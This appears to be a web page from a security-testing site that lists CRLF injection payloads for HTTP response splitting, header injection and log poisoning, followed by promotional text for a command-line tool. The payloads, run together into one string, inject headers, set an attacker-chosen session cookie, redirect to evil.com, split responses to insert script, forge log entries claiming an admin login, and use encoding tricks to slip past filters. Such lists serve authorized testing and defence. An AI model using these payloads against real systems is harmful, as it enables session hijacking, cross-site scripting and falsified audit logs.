$loading...
CRLF injection payloads for HTTP response splitting, header injection, and log poisoning. (15 payloads)
%0d%0aX-Injected: true%0d%0aSet-Cookie: session=attacker%0d%0aLocation: https://evil.com%0aX-Forwarded-For: 127.0.0.1\r\nX-Injected: true%0d%0a%0d%0a<html><script>alert(1)</script></html>%0d%0aContent-Length: 0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>%0d%0a[INFO] Admin login successful%0d%0a[2024-01-01] Authorized access granted%0d%0a%0a%0d%E5%98%8A%E5%98%8D%25%30%61%%0d0aLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides